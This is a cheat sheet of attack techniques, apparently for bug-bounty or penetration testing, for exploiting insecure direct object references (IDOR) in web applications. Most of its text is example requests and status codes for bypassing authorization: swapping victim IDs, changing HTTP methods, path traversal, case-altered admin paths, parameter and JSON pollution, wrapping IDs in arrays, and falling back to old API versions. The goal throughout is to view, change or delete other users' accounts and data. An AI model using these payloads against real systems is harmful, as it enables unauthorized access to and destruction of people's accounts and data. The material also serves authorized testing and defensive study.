⚠ IDOR ATTACK METHOD ⚠

Base Steps:

```
1. Create two accounts if possible or else enumerate users first.
2. Check if the endpoint is private or public and does it contains any kind of id param.
3. Try changing the param value to some other user and see if does anything to their account.
4. Done !!
```

[ ] [ ] image profilie [ ] delete acount [ ] infromation acount [ ] VIEW & DELETE & Create api_key [ ] allows to read any comment [ ] change price [ ] chnage the coin from dollar to uaro [ ] Try decode the ID, if the ID encoded using md5,base64,etc

```
GET /GetUser/dmljdGltQG1haWwuY29t
[...]
```

[ ] change HTTP method

```
GET /users/delete/victim_id  ->403
POST /users/delete/victim_id ->200
```

[ ] Try replacing parameter names

```
Instead of this:
GET /api/albums?album_id=<album id>

Try This:
GET /api/albums?account_id=<account id>

Tip: There is a Burp extension called Paramalyzer which
will help with this by remembering all the parameters you have passed to a host.
```

[ ] Path Traversal

```
POST /users/delete/victim_id          ->403
POST /users/delete/my_id/..victim_id  ->200
```

[ ] change request content-type

```
Content-Type: application/xml ->
Content-Type: application/json
```

[ ] swap non-numeric with numeric id

```
GET /file?id=90djbkdbkdbd29dd
GET /file?id=302
```

[ ] Missing Function Level Acess Control

```
GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admiN/profile ->200
```

[ ]send wildcard instead of an id

```
GET /api/users/user_id ->
GET /api/users/*
```

[ ] Never ignore encoded/hashed ID

```
for hashed ID ,create multiple accounts and understand the
ppattern application users to allot an iD
```

[ ] Google Dorking/public form

```
search all the endpoints having ID which the search engine may have already indexed
```

[ ] Bruteforce Hidden HTTP parameters

```
use tools like arjun , paramminer
```

[ ] Bypass object level authorization Add parameter onto the endpoit if not present by defualt

```
GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200
```

[ ] HTTP Parameter POllution Give mult value for same parameter

```
GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id
```

[ ] change file type

```
GET /user_data/2341        -> 401
GET /user_data/2341.json   -> 200
GET /user_data/2341.xml    -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt    -> 200
```

[ ] json parameter pollution

```
{"userid":1234,"userid":2542}
```

[ ] Wrap the ID with an array in the body

```
{"userid":123} ->401
{"userid":[123]} ->200
```

[ ] wrap the id with a json object

```
{"userid":123} ->401
{"userid":{"userid":123}} ->200
```

[ ] Test an outdata API version

```
GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200
```

[ ] If the website using graphql, try to find IDOR using graphql!

```
GET /graphql
[...]
```

```
GET /graphql.php?query=
[...]
```